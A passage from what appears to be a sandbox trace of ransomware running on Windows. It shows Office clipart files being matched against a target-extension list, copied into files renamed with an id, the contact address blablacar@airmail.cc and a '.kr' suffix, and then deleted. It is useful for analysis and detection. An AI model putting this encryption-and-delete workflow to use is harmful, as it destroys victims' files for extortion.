Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00524_.wmf")) returned 1 [0182.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0182.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0182.260] lstrlenW (lpString=".doc") returned 4 [0182.260] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0182.260] lstrlenW (lpString=".docx") returned 5 [0182.260] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0182.260] lstrlenW (lpString=".pdf") returned 4 [0182.261] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0182.261] lstrlenW (lpString=".xls") returned 4 [0182.261] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0182.261] lstrlenW (lpString=".xlsx") returned 5 [0182.261] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0182.261] lstrlenW (lpString=".ppt") returned 4 [0182.261] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0182.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0182.261] lstrlenW (lpString=".zip") returned 4 [0182.261] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0182.261] lstrlenW (lpString=".rar") returned 4 [0182.261] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0182.261] lstrlenW (lpString=".bz2") returned 4 [0182.261] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0182.261] lstrlenW (lpString=".7z") returned 3 [0182.261] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0182.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0182.261] lstrlenW (lpString=".dbf") returned 4 [0182.261] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0182.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0182.261] lstrlenW (lpString=".1cd") returned 4 [0182.261] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0182.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0182.261] lstrlenW (lpString=".jpg") returned 4 [0182.261] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0182.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0182.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0182.261] lstrlenW (lpString=".doc") returned 4 [0182.261] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0182.261] lstrlenW (lpString=".docx") returned 5 [0182.261] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0182.261] lstrlenW (lpString=".pdf") returned 4 [0182.261] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0182.262] lstrlenW (lpString=".xls") returned 4 [0182.262] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0182.262] lstrlenW (lpString=".xlsx") returned 5 [0182.262] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0182.262] lstrlenW (lpString=".ppt") returned 4 [0182.262] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0182.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0182.262] lstrlenW (lpString=".zip") returned 4 [0182.262] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0182.262] lstrlenW (lpString=".rar") returned 4 [0182.262] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0182.262] lstrlenW (lpString=".bz2") returned 4 [0182.262] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0182.262] lstrlenW (lpString=".7z") returned 3 [0182.262] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0182.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0182.262] lstrlenW (lpString=".dbf") returned 4 [0182.262] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0182.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0182.262] lstrlenW (lpString=".1cd") returned 4 [0182.262] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0182.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0182.262] lstrlenW (lpString=".jpg") returned 4 [0182.262] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0182.262] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0182.262] lstrlenW (lpString="BL00525_.WMF") returned 12 [0182.262] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0182.263] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=9590) returned 1 [0182.263] CloseHandle (hObject=0x4c4) returned 1 [0182.263] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf")) returned 0x220 [0182.263] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0182.263] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0182.264] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.264] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.264] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0182.264] GetLastError () returned 0x0 [0182.264] ReadFile (in: hFile=0x4c4, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x2576, lpOverlapped=0x0) returned 1 [0182.266] WriteFile (in: hFile=0x4c8, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x2580, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x2580, lpOverlapped=0x0) returned 1 [0182.267] ReadFile (in: hFile=0x4c4, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0182.267] WriteFile (in: hFile=0x4c8, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0182.267] SetEndOfFile (hFile=0x4c8) returned 1 [0182.267] CloseHandle (hObject=0x4c8) returned 1 [0182.268] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.268] SetEndOfFile (hFile=0x4c4) returned 1 [0182.271] CloseHandle (hObject=0x4c4) returned 1 [0182.271] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0182.271] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf")) returned 1 [0182.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0182.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0182.271] lstrlenW (lpString=".doc") returned 4 [0182.272] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0182.272] lstrlenW (lpString=".docx") returned 5 [0182.272] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0182.272] lstrlenW (lpString=".pdf") returned 4 [0182.272] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0182.272] lstrlenW (lpString=".xls") returned 4 [0182.272] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0182.272] lstrlenW (lpString=".xlsx") returned 5 [0182.272] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0182.272] lstrlenW (lpString=".ppt") returned 4 [0182.272] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0182.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0182.272] lstrlenW (lpString=".zip") returned 4 [0182.272] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0182.272] lstrlenW (lpString=".rar") returned 4 [0182.272] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0182.272] lstrlenW (lpString=".bz2") returned 4 [0182.272] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0182.272] lstrlenW (lpString=".7z") returned 3 [0182.272] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0182.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0182.272] lstrlenW (lpString=".dbf") returned 4 [0182.272] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0182.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0182.272] lstrlenW (lpString=".1cd") returned 4 [0182.272] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0182.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0182.272] lstrlenW (lpString=".jpg") returned 4 [0182.272] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0182.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0182.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0182.272] lstrlenW (lpString=".doc") returned 4 [0182.272] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0182.273] lstrlenW (lpString=".docx") returned 5 [0182.273] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0182.273] lstrlenW (lpString=".pdf") returned 4 [0182.273] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0182.273] lstrlenW (lpString=".xls") returned 4 [0182.273] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0182.273] lstrlenW (lpString=".xlsx") returned 5 [0182.273] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0182.273] lstrlenW (lpString=".ppt") returned 4 [0182.273] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0182.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0182.273] lstrlenW (lpString=".zip") returned 4 [0182.273] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0182.273] lstrlenW (lpString=".rar") returned 4 [0182.273] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0182.273] lstrlenW (lpString=".bz2") returned 4 [0182.273] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0182.273] lstrlenW (lpString=".7z") returned 3 [0182.273] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0182.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0182.273] lstrlenW (lpString=".dbf") returned 4 [0182.273] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0182.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0182.273] lstrlenW (lpString=".1cd") returned 4 [0182.273] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0182.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0182.273] lstrlenW (lpString=".jpg") returned 4 [0182.273] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0182.273] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0182.273] lstrlenW (lpString="BL00526_.WMF") returned 12 [0182.274] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0182.464] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=27552) returned 1 [0182.466] CloseHandle (hObject=0x4c4) returned 1 [0182.473] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf")) returned 0x220 [0182.473] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0182.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0182.485] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.485] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460 [0182.486] GetLastError () returned 0x0 [0182.486] ReadFile (in: hFile=0x4c4, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x6ba0, lpOverlapped=0x0) returned 1 [0182.488] WriteFile (in: hFile=0x460, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x6bb0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x6bb0, lpOverlapped=0x0) returned 1 [0182.489] ReadFile (in: hFile=0x4c4, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0182.489] WriteFile (in: hFile=0x460, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0182.490] SetEndOfFile (hFile=0x460) returned 1 [0182.490] CloseHandle (hObject=0x460) returned 1 [0182.490] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.490] SetEndOfFile (hFile=0x4c4) returned 1 [0182.548] CloseHandle (hObject=0x4c4) returned 1 [0182.548] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0182.549] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf")) returned 1 [0182.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0182.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0182.549] lstrlenW (lpString=".doc") returned 4 [0182.549] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0182.549] lstrlenW (lpString=".docx") returned 5 [0182.549] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0182.550] lstrlenW (lpString=".pdf") returned 4 [0182.550] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0182.550] lstrlenW (lpString=".xls") returned 4 [0182.550] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0182.550] lstrlenW (lpString=".xlsx") returned 5 [0182.550] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0182.550] lstrlenW (lpString=".ppt") returned 4 [0182.550] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0182.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0182.550] lstrlenW (lpString=".zip") returned 4 [0182.550] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0182.550] lstrlenW (lpString=".rar") returned 4 [0182.550] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0182.550] lstrlenW (lpString=".bz2") returned 4 [0182.550] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0182.550] lstrlenW (lpString=".7z") returned 3 [0182.550] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0182.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0182.550] lstrlenW (lpString=".dbf") returned 4 [0182.550] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0182.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0182.550] lstrlenW (lpString=".1cd") returned 4 [0182.550] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0182.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0182.550] lstrlenW (lpString=".jpg") returned 4 [0182.550] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0182.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0182.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0182.550] lstrlenW (lpString=".doc") returned 4 [0182.550] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0182.550] lstrlenW (lpString=".docx") returned 5 [0182.550] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0182.551] lstrlenW (lpString=".pdf") returned 4 [0182.551] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0182.551] lstrlenW (lpString=".xls") returned 4 [0182.551] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0182.551] lstrlenW (lpString=".xlsx") returned 5 [0182.551] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0182.551] lstrlenW (lpString=".ppt") returned 4 [0182.551] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0182.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0182.551] lstrlenW (lpString=".zip") returned 4 [0182.551] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0182.551] lstrlenW (lpString=".rar") returned 4 [0182.551] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0182.551] lstrlenW (lpString=".bz2") returned 4 [0182.551] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0182.551] lstrlenW (lpString=".7z") returned 3 [0182.551] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0182.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0182.551] lstrlenW (lpString=".dbf") returned 4 [0182.551] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0182.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0182.551] lstrlenW (lpString=".1cd") returned 4 [0182.551] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0182.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0182.551] lstrlenW (lpString=".jpg") returned 4 [0182.551] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0182.551] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0182.551] lstrlenW (lpString="BL00932_.WMF") returned 12 [0182.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0182.552] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=19476) returned 1 [0182.552] CloseHandle (hObject=0x4c4) returned 1 [0182.552] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf")) returned 0x220 [0182.552] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0182.552] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0182.553] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.553] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.553] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0182.553] GetLastError () returned 0x0 [0182.553] ReadFile (in: hFile=0x4c4, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x4c14, lpOverlapped=0x0) returned 1 [0182.555] WriteFile (in: hFile=0x3e0, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x4c20, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x4c20, lpOverlapped=0x0) returned 1 [0182.556] ReadFile (in: hFile=0x4c4, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0182.557] WriteFile (in: hFile=0x3e0, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0182.557] SetEndOfFile (hFile=0x3e0) returned 1 [0182.557] CloseHandle (hObject=0x3e0) returned 1 [0182.557] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.557] SetEndOfFile (hFile=0x4c4) returned 1 [0182.560] CloseHandle (hObject=0x4c4) returned 1 [0182.560] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0182.561] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf")) returned 1 [0182.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0182.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 